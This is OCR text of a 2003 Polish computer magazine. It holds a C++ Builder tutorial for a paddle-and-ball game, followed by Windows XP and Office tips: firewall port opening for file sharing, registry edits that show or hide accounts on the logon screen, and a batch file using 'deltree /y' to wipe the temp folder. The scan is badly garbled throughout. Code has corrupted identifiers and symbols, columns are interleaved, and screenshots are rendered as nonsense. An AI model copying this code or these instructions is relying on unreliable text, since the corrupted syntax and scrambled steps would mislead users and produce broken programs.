Kiedy nalezy wywotywac te funk-

{
stepY = - step¥:
¥
¥

p-if {posY + ballPic->Height > ClientHeight - paddlePic->Height){
if{!{({pos¥ + ballPic->Width < paddleX) ||
[posX > paddleX + paddlePic->Widch)))

cje? Przydatby sie nam zegar taktu-
jacy. W kazdym takcie dokonywali-
by$my przesunigcia oraz rysowa-
nia.

Dokfadnie tez tak zrobimy. Jako
zegar wykorzystamy komponent
TTimer. Znajduje sie on na palecie
komponentéw w zaktadce System.
Jedynym jego zadaniem jest wy-
wotywanie, co okreslony czas, zda-
rzenia OnTimer. Doskonale wigc
nadaje sie do naszego celu.

1. Przefaczamy sie na widok for-
matki i dodajemy na nig kompo-
nent TTimer. Korzystajac z Object
Inspectora, ustawiamy jego wia-
$ciwo$¢ Interval na 1 oraz Ena-
bled na false. Interval okresla
w milisekundach czas pomiedzy
kolejnymi wywotaniami zdarzenia
OnTimer, natomiast Enabled
okresla, czy zegar jest wigczony
(true), czy wytaczony (false). Na
poczgtku powinien by¢ oczywiscie
wytaczony.

2. Przypisujemy do zdarzenia
OnTimer kod ®. Wywotujemy tu
metode move (), kidra zmieni po-
tozenie pitki i paletki, oraz metode
draw(), ktéra wySwietli obraz

w oknie aplikacji.

3. Zacznijmy od napisania me-
tody draw(). Sprawdzamy, czy
zakonczyty sig juz operacje zwig-
zane z wezytaniem obrazow i za-
inicjowaniem zmiennych @ Infor-
muije o tym stan zmiennej acti-
vated. Jedli jest ona ustawiona na

false, wykonujemy instrukcje re-

Jesli tak jest, przechodzimy do fazy drugiej i kontrolujemy kolejny warunek ‘
Jest on zapisany w formie negacji, ktérg schematycznie mozemy przedsta-

wic¢ nastepujgco:

if (!((warunekl) || (warunek2))){
zmief kierunek ruchu pitki

gdzie warunek] to: posX + ballPic->Width < paddleX, a waru-
nek2 to: posX > paddleX + paddlePic->Width. Zapis nalezy rozu-
mie¢ nastepujaco: jezeli nie zachodzi sytuacja, ze spetniony jest
warunek] lub warunek2 (czyli jezeli oba warunki sa fatszy-
we), to zmien kierunek ruchu pitki. Pierwszy warunek jest prawdzi-
wy, jesli prawy brzeg pitki znajduje sie z lewej strony paletki. Drugi warunek
jest prawdziwy, jeZeli lewy brzeg pitki znajduje sie po prawej stronie paletki.
Zatem kiedy oba sg fatszywe, pitka na pewno zderzyta sig z paletka.

woid TForml::draw()
{

-3 if[lactivated) return;

- memCanv—->Stretchlrav | *hackgroundRect, backgroundPic->Graphic) ;

I:'}:ial.lRECt,—}Tl:up = pos¥;
| ballRect->Left = posi;

\
1
i

| ballRect—>Right = posX + ballPic-—>Width: H

I\\hﬁllRECE-)BDttm‘n = pos¥ + ballPic—}Height,;,:'

N,

memCanv->3trecchbraw (*ballRect, ballPic->Graphic);

|paddleRect->Left = paddleX;

/paddleRect->Top = ClientHeight - paddlePic->Height: !

ipadd].eRect,—}Bott,urm = paddleRect->Top + paddlePic->Height:
:paddl.eRect,—}Right = paddleX + paddlePic->Width;
1

1
'\x\a'EmCanv—:rStretchDraw(*paddleRect,, paddlePic->Graphic) ;

1
i
i
i
i
—
i
i
]
7
s

H

Canvas->CopyRect [ *backgroundBRect, memCanv,

*hackgroundRect) ;

turn i tym samym opuszczamy
metode draw, nie wykonujgc zad-
nych czynno$ci zwigzanych z ryso-
waniem.

Kolejnym krokiem jest naryso-
wanie na ekranie wirtualnym obrazu

ta. Odpowiada za to funkeja
StretchDraw @. Jej pierwszym
parametrem jest obiekt
backgroundRect zawierajacy po-
tozenie i rozmiary obszaru okna,
drugim wiasciwos¢ Graphics
obiektu backgroundPic, ktora
wskazuje bitmape podkfadu. Usta-

vold _ fastecall TForml::TimerlTimer (TObject *Sender) |amy .po_
i { tozenie
- move (] ;
draw() ; obrazu
} pitki. Wia-

$ciwosciom top oraz left obiektu
ballRect przypisujemy wartos$¢
zmiennych posX i posY, czyli ak-
tualng pozycje X i y. Wiasciwo-
$ciom right oraz bottom warto-
$ci zmiennych posX i posY po-
wiekszone 0 rozmiary bitmapy
ballPic. W ten sposdb ustalili-
$my potozenie oraz rozmiar prosto-

Mozemy zatem wySwietli¢ ten ob-
raz na ekranie: memCanv=->
StretchDraw (*ballRect,
ballPic-> Graphic);.

W sposdb analogiczny wykonu-

jemy operacje z rysowaniem na

gkranie paletki @. Roznica jest
Sposab obliczenia wspotrzednych




bitmapy w pionie. Wtasciwo$¢ top
obiektu paddleRect to: wysokos¢
gkranu minus wysokoS¢ paletki, na-
tomiast wiasciwo$¢ bottom réwna
jest po prostu wysokosci ekranu.
Kiedy wszystkie obiekty znajda
sie w buforze w pamieci, nalezy
wyswietlic gotowy obraz na praw-
dziwym ekranie. Za wykonanie tej
operacji odpowiada funkcja Copy-
Rect. Kopiuje ona fragment obrazu
wskazywany przez prostokat wyzna-
czany przez backgroundRect,
z obiektu memCanv do obiektu
Canvas. Czyli kopiuje obraz przy-
gotowany na ekranie wirtualnym na
gkran rzeczywisty.

sie wtedy od gornej
krawedzi ekranu.
Ustalamy, czy

paddleX = X;

wold  fastcall TForml::FormMouseMove (TChject
int X, int Y)

2

-
=

pitka nie osiggneta
dolnej krawedzi ekra-

e

paddleX =

Fif{paddleX < 0) paddlex - 0;
if (paddleX » ClientWidth - paddlePic->Width)

ClientWidth - paddlePic->Width:

nu @. Taka sytuacja

0znacza, ze uzytkownik nie zdotat
jej odbi¢ paletkg i gra powinna sig
zakonczy¢. Dlatego tez wylgczamy
wtedy zegar (Timerl ->
Enabled = false;), ustawiamy
pitke na pozycji poczatkowej, wy-
Swietlamy okno dialogowe z napi-
sem Koniec gry oraz koriczymy
wykonywanie funkcji move () in-
strukcjg return.

Zmieniamy potozenie pitki, do-

void TForml::move(]
{
I if [(pos¥ < 0] || pos¥ » ClientWidth - ballPic-»Width) stepX = - stepX;
if {posY < 0) stepY = - step¥;

{ if(posY > ClientHeight - ballPic->Height]{ 1

! Timeril-»Enabled = false; !

i pos¥X = (ClientWidth - ballPic->Width) / 2; |

! posY = 0; i
T 5 - -1 . !

i ShowNessage ("Eoniec gry!"): !

| return; !

\} J

_______________

_______________

{
stepY = - step¥;
}
i
}

if {posY + ballPic->Height > ClientHeight - paddlePic->Height){
if{!{{pos% + ballPic->Width < paddleX) ||
(posX > paddleX + paddlePic->Width)])

4 . Czas zabraé sie za metode
move (), ktora zajmie sig przesu-
waniem obiektow na ekranie.
Pierwszym jej zadaniem jest spraw-
dzenie, czy pitka nie znalazta sig
poza granicami ekranu.
Sprawdzamy, czy wspétrzedna X
lewej krawedzi nie jest mnigjsza od
zera (posX < 0) oraz czy wspot-
rzedna X prawej krawedzi nie jest
wigksza od szeroko$ci ekranu
(posX > ClientWidth - ball
Pic->Width). Jesli zajdzie jeden
z tych przypadkéw, zmieniamy kie-
runek ruchu w poziomie @.
Sprawdzamy rowniez, czy wspot-
rzedna y nie jest mnigjsza od zera
i jesli tak, zmieniamy kierunek ru-
chu w pionie (if (posY < 0)
stepl = - step¥;). Pitka odbije

dajac do zmiennych posX i posY

Sprawdzamy, czy pitka nie ze-
tkneta sie z paletkg (patrz ramka
Jak wykry¢ kolizje?). Jesli tak,
oznacza to, ze gracz odbit pitke
i nalezy zmieni¢ kierunek jej ruchu
W pionie.

5. Pozostata nam jeszcze do roz-
wigzania kwestia sterowania palet-
ka. Wykorzystamy do tego ruchy
myszy. Paletka bedzie przesuwata
Sie w prawo lub w lewo w zalezno-
$ci od tego, w ktorg strone gracz
przesunie mysz. Wykorzystamy
zdarzenie OnMouseMove, ktore-

paddleX przekazany przez system
do metody FormMouseMove ()

Zawiera on aktualng wspotrzedng
potozenia wskaznika myszy. Na
tym moglibySmy juz poprzestaé

i gra dziatataby poprawnie, zeby
jednak catos¢ wygladata bardziej
profesjonalnie, wprowadzimy dwa
ograniczenia uniemozliwiajgce wy-

parametr X (paddleX = X) @:-----

Trudne terminy

» ekran wirtualny - wydzielony fragment pamieci, trak-
towany przez aplikacje tak jak prawdziwy ekran monitora.

» metoda - w programowaniu obiektowym to inaczej
funkcja zdefiniowana w pewnej klasie, czyli fragment kodu
programu przeznaczony do wykonania konkretnego zadania.

» podwdjne buforowanie - technika tworzenia obrazu
pozwalajgca na wyeliminowanie efektu nieprzyjemnego mi-
gotania animacji.

» procetlura obslugi - kod przypisany do konkretnego
zdarzenia i wykonywany za kazdym razem, kiedy to zdarze-
nie zajdzie.

» uchwyt - ang. handle - specjalny identyfikator
obiektu, zasobu systemowego (na przyktad bufora, obra-
zu, okna aplikacji), jednoznacznie go identyfikujacy.

» zdarzenie - klikniecie przyciskiem myszy, zmiana roz-
miaru okna, wybranie pozycji z menu, sytuacja zachodzaca
w systemie, ktorej mozna przypisa¢ kod wykonywalny.

Ostatni etap budowy programu
to dodanie menu. Bedzie ono za-
wierato jedynie trzy pozycje: Start,
Stop oraz Wyjdz.

1. Na formatke dodajemy kompo-
nent TMainMenu (nalezy go szu-
ka¢ w zaktadce Standard), klika-

my na niego dwukrotnie i w edyto-

4 . Ostatni fragment kodu to in-
strukcije przypisane do menu
Wyjdz. Pierwsza czynno$cia jest
zapamigtanie w zmiennej b aktual-
nego stanu zegara. Nastepnie za-
trzymujemy zegar @ oraz pytamy

7l Form1-=M2

uzytkownika, czy na pewno chce
zakonczy¢ prace programu @. Je-

rze menu tworzymy nastepujaca

strukture @. Po wykonaniu tej
czynno$ci zamykamy edytor menu.

2. Naformatce pojawito sie me-
nu Gra. Kiedy wybierzemy z nisgo
pozycje Start, otworzy sig okno
kodu i bedziemy mogli przypisac
temu menu dowolng procedure ob-

zeli odpowiedz brzmi Tak (Yes),
zamykamy forme gtowng Form1
(instrukcja Close() ;) i tym sa-
mym konczymy prace aplikacji.
Jesli odpowiedz brzmi Nie (No),
przywracamy stan zegara zapamie-
tany w zmiennej b @. Dzigki temu
przywrdcimy stan gry, w jakim
znajdowata sie przed wybraniem

=lolx|

stugi. Instrukcjg, ktérg powinnismy it menu Wyjdz.
wykona¢ |
v 1

w tym mIE]—E vaid _ fasreall TFarml::Wyid1Click (Tohjerr *Sender)

H i
scu, ]Pft. i| bool b = Timerl->Enabled:
0CZyWISCIE “# Timeri-»Ensbled = false;
UrUChomie- if (MessageDlg("Czv na pewno choesz wyisé z programu?”, mtConfirmation,

. THsgDlgButtons [] << mbYes << mblo, 0) == mrY¥es] Close():;

Nie zegara, else Timerl->Ensbled = b; -
atymsa- |
mym rozpo-

czecie animacii pitki. Zadanie to
wykonywane jest przez instrukcie:
Timerl-> Enabled = true;.

3. Wiecej instrukcji musimy

mu przypiszemy kod realizujacy to
zadanie. Przede wszystkim
umieszczamy w zmiennej

wvoid _ fastecall TForml::StoplClick({TObject *Sender)

{

if (this->Timerl->Enabled == false) return:

p)

przypisa¢ do menu Stop ®. Trzeba
sprawdzi¢, czy zegar jest aktywny.
Jesli nie jest, nalezy zakonczy¢
wykonywanie procedury obstugi
tego menu instrukcjg return @.

<
e

Jezeli jednak zegar jest aktywny,

Timerl->Enabled = false;

['if (HessageDla("Czv na pewno choesz zatrzvmad ore?”, mt,Can:irmat,ion,\.
N _-THscllaButtons il << _wb¥es << o, 0l

Timeril->Enabled = true;

==_yrHoli /

nalezy zatrzymac gre @, a nastep-
nie zapytac, czy uzytkownik faktycz-
nie chce jg zakonczy¢ @. Jgsli

¥
'/e'fée{
! posX = (ClientWidth - ballPic->Width) fo2:
! posY = 0;
| paddleX = (ClientWidth - paddlePic->Width) / 2;
E paddleY = ClientHeight - paddlePic->Height;
I draw(};
1
\,

gracz odpowie Nie (No), ponownie
wigczamy zegar (Timerl->Ena-
bled = true;). W przeciwnym

R

przypadku @ przesuwamy rysunek
pitki i paletki na pozycje poczatkowe
i wywotujemy funkcje drau().

Petny kod gry oraz pliki z obra-
zami tta, pitki i paletki znajdujg sie
na ptycie CD dotgczonej do biezg-
C€go numeru.

W kolejnym numerze Eksperta
dodamy do naszej aplikacji nowe
funkcje, takie jak poziomy frudno-
$ci, punktacja czy mozliwo$¢ zmia-
ny grafiki w trakcie dziatania pro-
gramu, a takze zapis konfiguracji
programu na dysku. ML=

@ Warto zajrze¢...

Ksigzki: .
o C++ Builder 6. Cwiczenia - Andrzej Daniluk,
Wydawnictwo Helion, Gliwice 2003, cena 13,90 zt

Strony WWW:
® www.binboy.org
o www.borland.ng.pl
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PORADY WINDOWS

Szybko i precyzyjnie

'~

POZIOM EATWY

~ znamy kilka tajemnic systemow operacyjnych
C raz pakletow biurowych Office. Dowiemy sie
rowniez, jak obstugiwac Photoshop, tworzyé
~ szablony odpowiedzi w programie The Bat!
i efektowne przejscia w Ulead Media Studio

Przywracamy klasyczne
okno logowania

w indows XP zostat wypo-
jazne okno logowania ¢ . Widac na
nim wszystkich uzytkownikow, ktérzy
majg zatozone konta w naszym

komputerze. Przyjazne okno logowa-
nia wigczane jest domysinie w kaz-

dym systemie, na
ktérym nie skonfi-

Wybierz opcje logowania i wylogowywania
gurowano dostgpu Pl gl oo

do sieci. Uzytkow-
nicy przyzwycza-

[ty sevbh

Hinag
Iu-l.a I:dawh :wbem sefstwa mofes: w\dmwluhmuzrmll-nymw iy
Ingowunnis, Vedey wymaga od

B ]

jeni do klasyczne-

lu artalc u:ybl-euu wzfmauuwm-duw mbess saybbo pezel oo sie doinege

zahofezeni pracy

go okna logowa-
nia, wymagajace-
go wcisnigcia kla-

. Nashepnis po
proesinnege untlwda mobes: ;.uzlq_ oylse s p,wuem do dm.gw horta.

wiszy o7y [y
F¥1 moga je jednak przywrdcic.

1. W panelu sterowania wybiera-
mye,a nastegpnig e------------- 1

Zmien 5

posab logowania lub welogo:

i zamykamy wszystkie okna. Pod-
czas nastepnego logowania na
ekranie zobaczymy klasyczne
okno logowania.

Maria Lz ik

F irewall wbudowany w Win-
dows XP chroni nasz kom-
puter przed dostepem nieupo-
waznionych 0séb. Zapory moze-
my uzywac zaréwno wtedy, gdy
pecet podtgczony jest do interne-
tu, jak i w sieci lokalnej (na przy-
kfad blokowej). DomySine usta-
wienia zapory uniemozliwiajg
jednak udostepnianie plikow

w sieci. Aby umozliwi¢ dostep do
danych, nalezy odpowiednio

Ekspert radzi )

p rzed wykonaniem tej wskazowki nalezy upewni¢ sie,
7e przyczyng ktopotéw z udostepnianiem plikow jest
wigczona zapora. Sprawdzmy, czy wytgczenie firewalla

umozliwi dostep do danych na naszym dysku. Jezeli tak,
to znaczy, ze firewall jest nieprawidtowo skonfigurowany.

CZERWIEC - LIPIEC 2003 [t aaa]

Daj mi swoje pliki

skonfigurowac firewall. Ekspert
podpowie, jak to zrobic.

1. Otwieramy okno pofaczen sie-
ciowych. Rozwijamy menu startowe
i po Kliknigciu prawym przyciskiem

? Mojc micjsca sicciowe
e d
'

él

Obwirz
Ekspluruj
Whysaukaj komputery,.,
Mapuj dysk sisciovey...
Odbarz dysk sieciowy...

v Pukai na pulpicie

@I Zrvich nazweg

- Whadciwods ------ -
@I

2. Sprawdzamy wiasciwosci na-
Szego pofgczenia, przechodzimy na

zakladke i Klika-

my na przycisk [Wstawienia...| Na
zakfadce Klikamy na przy-
Cisk [Dada..|

mery portow e . Klikamy na przy-
cisk [OK], upewniamy sig, ze nowa
ustuga jest wigczona:

[l Udosteprianie plikdw]

i w dwadch kolejnych oknach po-
nownie klikamy na [OE],

Ustawienia ustugi

Lpes ushage

|Udoat@pnia’ic phkdw

Wazwa lub adres IF [np. 1921
obshagugcage by ushugs w siec
|12?.U.Ell |

Humer portu Zewnglrznego dia tej ushugi

445 @ 1cP O UDE
Numer portu wewnetizrego dia bej ushugi

- aad

twierajac porty w naszej za-

porze utatwiamy dostep do
naszego komputera. Zapora wbu-
dowana w Windows XP nie umoz-
liwia bowiem zdefiniowania, ktdre
komputery z sieci mogg mie¢ do-
step do naszego peceta, a ktore
nie. Jezeli zalezy nam na doktad-
niejszej konfiguracji, powinnismy
zainstalowac inng aplikacje typu
firewall.

4 . Sprawdzamy, czy dostep do
plikéw zostat wigczony. Jezeli nadal
nie mozna dostac si¢ do udostep-
nionych dokumentow, powtarzamy
kroki 2 i 3 otwierajac kolejno
dodatkowe porty o numerach: 135,
136, 137 i 138. Za kazdym razem
po otwarciu kolejnego portu spraw-
dzamy, czy udostepnianie dziata.
Ze wzgledu na bezpieczenstwo le-
piej nie otwierac zbednych portow.



Gdzie jest administrator?

K orzystajac z funkcji przy-
jaznego okna logowania,
Zwrocimy uwage, ze nie ma na nim
konta administratora. Nie oznacza to,
ze musimy nadawac uprawnienia

administracyjne innym uzytkowni-
kom. Jezeli czgsto wykonujemy
zadania wymagajace duzych praw,
mozemy wigczy¢ wyswietlanie tego

1. Uruchamiamy Edytor Rejestru,

a nastepnie otwieramy kolejno na-
stepujace klucze:

[53 HKEV_LocAL_MACHINE] [0 SOFTWARE|
H:I Micrasaft " ‘{:I Windows NT"

[E3 currentversion|, [0 winlogon|

}D Specialhccounts“ }D UserList‘.

2. Klikamy prawym przyciskiem

konta. Ekspert pokaze, jak to zrobic.

myszy, wybieramy ¢ i polecenie a .

3. Zmieniamy wartosc na e . Kli-

kamy na przycisk [OK] i zamykamy

Edytor Rejestru. Podczas nastepne-
go logowania konto administratora
bedzie juz dostepne e .

Administrator

musi mie¢ dostgp do naszych za-
sobow przez sie¢. Ekspert pokaze,
jak wytgczy¢ wySwietlanie konta

uzytkownika ew oknie logowania.

k T | ]
Ukryijcie sie
w poprzedniej wskazowce
Ekspert radzit, jak wy-

Swietli¢ na ekranie logowania kon-
to administratora. Czasami jednak
zamiast dodawac jakie$ konto,

chcielibySmy je usungé

1. Powtarzamy krok T wskazowki
Gdzie jest administrator?, a nastep-
nie wykorzystujgc informacje

7 punktu 2 wspomniane] wska-
z6wki tworzymy klucz odpowiadaja-

. ) [E]5CLAgentCmdExee REG_DWORD  0x00000000 {0
po to, by nie byto wia- | E&rsinternetuser  REG DwoRD  xooopoooo (o)
; e [E]vusr_ REG_DWORD  0x00010000 (65536
domo, Z¢ dany uzyt [#H]Slonke REG_DWORD 000000000 {0) <€

kownik moze korzystac
z naszego komputera. Nie mozemy
jednak usungé konta catkowicie na
przykfad dlatego, ze uzytkownik

Windows

liknij swoja nazwe
uzythownika

Cy SW0jg nazwg nazwie konta uzyt-
kownika, ktory ma zostac ukryty .

2. Pozostawiamy domysinie usta-

wiong wartos¢ é bez zmian i zamy-
kamy Edytor Rejestru. Konto uzyt-
kownika znika z okna logowania e .

lle masz lat?
J ezeli czasami zastanawiamy
sie, kiedy zainstalowalismy

system lub jak dtugo bez ponowne-
g0 uruchamiania dziafa serwer, mo-
zemy postuzy¢ sie wbudowanym
w system operacyjny narzedziem
systeminfo. Program ten, oprocz
informacji o konfiguracji naszego

1. Kiikamy na przycisk EEISEI,
nastepnie i wpisuje-
my polecenie [Dfwdrz: [ ernd |

W oknie trybu tekstowego wpisuje-
my e i wciskamy fEer;

_______ 4

= CAWINDOWS\System 3emd. exe

2. Po chwili mozemy odczytaé
date, kiedy system operacyjny zo-
stat zainstalowany e oraz ile czasu

peceta, zainstalowanych popraw-
kach, odpowie nam na to pytanie.

system pracuje od ostatniego uru-

minut. 22 sekund

Nadajemy kluczowi nazwg e i klika-
. . P
Nazwa Typ Dane my na nim dwukrotnie. Ekspert radzi
__(Dom',-'s'lna]l " (warktose nie uskalona) T 0 REG D
Klucz slnternetlser REG-': " [RD by podczas logowania dostac sie do konta admini-
IUSR_ REG_LO Wartode ciagu 560 F ::-: . REG:MRD S.trato.ra,.nle musimy umleszczellc’go na.s.taie .
(B8] v rapa_ REG_L  irnée binarna 560 w oknie. Jezeli korzystamy z uprawnier administracyj-

i i ; ccs DWOR nych sporadycznie, w oknie logowania wciskamy kombina-
NEtShDLr\ISEF'v'ICES REG_O Warkosd DWORD < Edytowania wartosci DWORD y K p thrl Y '_—‘" -‘I ‘DHB.‘.EEIQT q 0o y . _
¥ Pamacnik. RES_D  \orbodt wislodiaau dje klawiszy [ d 1. Trzymajac wcisniete pierw
B¥]soLAgentcmdExec REG_D - wislonagy e sze dwa klawisze, zwalniamy P!} i ponownie go wciskamy.

s - Warkosd ciggu rozwijalnego . S q o
[B4] TsInternetiiser REG_O o System Na ekranie widzimy klasyczne okno logowania. Teraz moze-
B vusr_ REG_DW¢ORD 0x00010000 (65536) 1 © Szesnaitiony my zalogowat sie do komputera jako administrator.

A O Doty
o>

Windows 95/98/Me

Szybkie usuwanie danych
z katalogu tymczasowego

D ane uzywane podczas in-
stalacji programow sg
przechowywane w katalogu tymcza-
sowym. Niestety, bardzo czesto po
wgraniu aplikacji niepotrzebne juz
pliki pozostajg na dysku twardym.
Aby zbedne dane nie zaSmiecaty
naszego peceta, powinnismy regu-
larnie oczyszczac katalog tymceza-
sowy. Ekspert podpowie, jak najwy-
godniej przeprowadzic te operacije.

1. Tworzymy skrypt, kiéry po uru-

chomieniu wykasuje pliki z katalogu

[ Temp]. Tworzymy na pulpicie plik
tekstowy, a nastepnie zmieniamy je-
go nazwe i rozszerzenie (nazwa pliku
musi zawierac rozszerzenie .bat) e~
Klikamy na plik prawym przyciskiem
myszy i wybieramy [E i,

2. Otwiera sig okno Notanika e----

Wpisujemy [deltree /y| Stwo-
rzone polecenie skasuje dane we
wskazanym katalogu. Za nim

umieszczamy $ciezke dostepu e-------

wskazujgca folder, z ktdrego polece-
nie ma usuwac pliki.
Wprowadzamy [¢ :\windous\tempy]
gdyz tak wyglada Sciezka dostepu
do zawartosci folderu [ Teme], gdy
system Windows jest zainstalowany
na dysku = I, w katalogu

[Cwindows]. Na koficu umieszcza-

my znak [*®-%*] ¢  aby skrypt usu-
ngt wszystkie pliki z folderu

[ETeme]

&} kasowanie.bat — Notatnik

Pk Edycla  Wysaukaj  Pomoc

|de1t|'ee /Yy civwindowsitempyx.x

3. Zapisujemy plik i zamykamy
okno Notatnika. Teraz musimy jesz-
cze utworzy¢ i poprawnie skonfigu-
rowac skrot, ktory bedzie uruchamiat
przygotowany przez nas skrypt. Kli-
kamy prawym przyciskiem myszy na

plik i wybieramy [Dfiwérz skrét]

4 . Klikamy prawym przyciskiem !
myszy na ¢ . Wybieramy polecenie

i przechodzimy na za-
kfadke [Fragra],

|Zminima|izc-wane

A
;

F Zarkrii pray zakoriczeriu
1
1
i

wpolu é iz listy wybieramy e---
Klikamy na przycisk [GE]. Dzigki
wprowadzonym zmianom podczas
dziatania skryptu Windows ukryje
okno programu czyszczgcego, aby
nie przeszkadzato nam w korzysta-
niu z peceta.
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PORADY OFFICE

Wystartowac

inaczej

P 0 uruchomieniu edytora tek-
stu Microsoftu mozemy od
razu przystapic¢ do pracy. Na ekranie
pojawia sie biata strona dokumentu,

Wiasciwosei: Skrét do WINWORD. EXE [

Ogélne | Skt | Zgadnods |

wywat sie inaczej niz zwykle. Na
przyktad aby uruchomit ostatnio edy-
towany plik albo nie uruchamiat au-
tomatycznych makr. Microsoft prze-
widziat nasze potrzeby i umozliwit
uruchamianie edytora z parametrami,
ktére modyfikujg jego zachowanie.
Najprostszg metodg dodania pa-
rametru jest modyfikacja skrotu
uruchamiajgcego Worda.

1. Klikamy prawym przyciskiem
myszy na ikoneg skrotu i otwieramy
okno wiasciwo$ci. W polu e wi-

F:i Skrét do WINWOND. CHE

2]

Typ docelowy: Aplikacia

Leokalizacia docelowsa: Office

Llement docelowy: |ilss\Microsoft Office\DificeNw/INwWORND CHC" I:

do pamieci zatadowane sg domy$ine
szablony. Czasami jednak chcieliby-
$my, by Word podczas startu zacho-

dzimy $ciezke dostepu do pliku
wykonywalnego Worda. Na jej
koncu wstawiamy spacje oraz znak
I~ a nastepnie dopisujemy para-
metr, na przyktad ..

2. Zamykamy okno wiasciwosci

skrotu i uruchamiamy Worda. Zna-
czenie parametrow, ktore rozpozna-
je Word, znajdziemy w ramce Para-
metry startowe Worda.

i

Parametry startowe Worda

Parametr Dziatanie
fa Zabezpiecza przed uruchamianiem szablonow globalnych (w tym szablonu Normal.dot)
i dodatkow

N sciezka do_dodatku

Uruchamia dodatek (szablon, obiekt COM, kreator)

/m

Zahezpiecza przed uruchamianiem automakr

2 jego dziataniem

[m nazwa_makra Uruchamia podane makro

/n Otwiera Worda bez okna nowego dokumentu

R nazwa szablonu Tworzy nowy dokument oparty na podanym szablonie

fc Otwiera Worda i wywotuje program NetMeeting

Il Uruchamia Worda bez wyswietlania okna startowego (dziafa w Wordzie 2000 SR-1)
r Uruchamia Worda w tle, dokonuje zmian w Rejestrze, a nastgpnie zamyka Worda.

Parametr stosowany do rejestracji skfadnikow edytora w razie wystapienia probleméw

Sciezka\nazwa_pliku

Uruchamia Worda, otwierajac jednocze$nie wskazany plik. Podajac kilka $ciezek,
mozemy otworzy¢ kilka dokumentow jednoczesnie

Szyhkie
sprawdzanie
formatowania

Z tem Worda chcemy czasa-

mi dowiedziec sie jakie formato-

wanie tekstu wykorzystat w nim
autor. Mozolne przegladanie
wszystkich opcji zajmuje sporo
czasu. Istnieje jednak funkcja, kto-
ra automatycznie wyswietli wszyst-
kie potrzebne informacje.

1. Zmenu wybieramy po-
lecenie K? cotojest?. Klikamy na
dowolnym fragmencie tekstu.

2. Na ekranie pojawia sig dymek,
w ktorym widac zastosowane przy

Zapoznnjac Jedziec sig jukie formatowanie
Tt frlamy -}
b WVED o s e 810 Wm0

-
T SR AR O SRAT

Tutaege jedn ot e 1 s

edycji formatowanie akapitu é
i czcionki ¢

____________ 1’

3. Kolejne Klikniecia myszka be-

rvekae potrzebme mbcrmace
Mt S o b P

ﬁ T AowoliFin Tpnencie

° [ —
R

tekstil f

1 Naelganie pojawin si dymek, w ktorym widaé zastosowane pray edycii

CZERWIEC - LIPIEC 2003 [t ool

da wyswietlaty dane na temat in-
nych czesci dokumentu. Aby prze-
rwac dziafanie funkcji, wystarczy
weisnac klawisz F&e .

Excel 2000/Excel XP

Jakie
parametry

na poczatek

E kspert pokazat, jak urucha-
mia¢ Worda z parametrami

startowymi. Excel rowniez umozli-

wia modyfikacje zachowania pod-
czas startu arkusza kalkulacyjnego.
Aby dodac¢ parametr startowy do
Excela, postepujemy tak samo, jak
we wskazowce Wystartowac ina-
czej, 7 t3 roznicg oczywiscie, ze
modyfikujemy skrét Excela, a nie
Worda. Przetgczniki zmieniajgce
domysIne zachowanie arkusza
znajdziemy w widocznej poni-

7ej tabeli: Parametry startowe
Excela.

Parametry startowe Excela )

Parametr Dziatanie
/e, /embeded Uruchamia Excela bez wySwietlania okna startowego i okna arkusza
/m Otwiera okno makra
fo Wymusza ponowna rejestracjg sktadnikéw Excela
W Rejestrze systemowym

[p nazwa_kalalogu

Zmienia domy$ing Sciezke polozenia plikéw na podang w parametrze

J¥ nazwa_pliku

Wymusza otworzenie podanego pliku w trybie tylko do odczytu

/s, [safemode

Pomija tadowanie wszystkich plikow z katalogu autostartu Excela

i dodatkowych paskow narzedzi

[regserver Wymusza od$wiezenie w Rejestrze wszystkich wpisow dotyczacych
Excela, a nastgpnie zamyka okno arkusza kalkulacyjnego

[unregserver Wyrejestrowuje z Rejestru systemowego wszystkie wpisy dotyczace
Excela i zamyka arkusz kalkulacyjny

Excel 2000/Excel XP

Szybka zmiana znaku

w ykonujac skomplikowa-
ne obliczenia w arkuszu
kalkulacyjnym badz przeprowadza-
jac analize rozbudowanych danych,
czesto zachodzi potrzeba zmiany
znaku duzej grupy liczb. Czy w ta-
kiej sytuacji jestesmy skazani na
edycije kolejnych komorek? Ekspert
pokaze, jak szybko zmieni¢ znak
wielu komarek jednoczesnie.

1. Zat6zmy, ze dane, ktore chcemy
zmodyfikowac, zostaty umieszczone

__________________

w jednej kolumnie ¢ . W pustg ko-
morke wpisujemy liczbg -1 e .

__________________

e e e

\i

M

znaczamy komorki, ktorych znak
chcemy zmienic, i z menu [Edvcia
wybieramy [‘klej specialnie. .|

3. Zaznaczamy opcije e i klikamy

na przycisk [ ok |. Zaznaczone

r
Wklej specjalnie
Whlei
% isopsdbn
" pormuly
" Wartosd
(" Farmaty

Ky e

(~ Sprawdzanis poprawnosci

~ Wezyetko poaa chramowaniem
" Grerokodcl kolumn

@ Ekspert radzi |

prezentowanym przyktadzie

dane znajdujg sie w jednej
kolumnie. Mozemy tez modyfikowa¢
grupy liczb umieszczone w blokach,
a nawet pojedyncze komorki roz-
mieszczone w catym arkuszu.

00~ e e =
]

2. Kopiujemy zawarto$¢ komorki

z liczbg ujemng ¢ do schowka. Za-

Operacya
™ Drak
" pyulsj
" adeymi

I™ Pomijej puste [ Irenspazycia

S

Anuuj

~t|m e afesmal=
Ly
u
)

@spert radzi |

pisywana w tej wskazowce

metode mozemy zastosowat
nie tylko do zmiany znaku, ale réw-
niez do dzielenia liczb oraz dodawa-
nia i odejmowania od nich statej
wartosci.

;




Arkusz czy

Weiskamy klawisz [5#3 i z menu
Edvcia] wybieramy polecenie
Kopiuj rvsunek. . .

2. Aby uzyskac jak najlepsza ja-

obrazek?
K opiujgc dane z arkusza do
innych aplikacji Office’a

czesto interesuje nas jedynie wy-
glad zeszytu Excela i nie zalezy nam
na mozliwosci edycji czy aktualiza-
cji danych. Tymczasem na przyktad
do Worda dane przenoszone s3

w postaci tabeli lub obiektu powig-
zZanego z arkuszem zrodtowym. Eks-
pert pokaze, jak skopiowa¢ dane

W postaci obrazka, nie robigc przy
tym zrzutu ekranowego i nie korzy-
stajac z programu graficznego.

1. Zaznaczamy fragment arkusza
lub wykres, ktory chcemy skopio-

koS¢ obrazka, zaznaczamy opcje @
i o Klikamy na [OK]

H[E3

Kopiuj rysunek

Whyglad
i+

" Tak jak na weedruku

Raozriar
+ Tak jak na ekranie

" Tak jak na veydruku

Farmat
& Obraz

-
" Mapa bitowa

[ ox ]

anuluj |

3. Otwieramy dokument Worda
i wklejamy wykres za pomocg kom-

A . m . Y .
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Outlook 2000/0utlook XP

Przypomnij, Ze mam
odpowiedzie¢

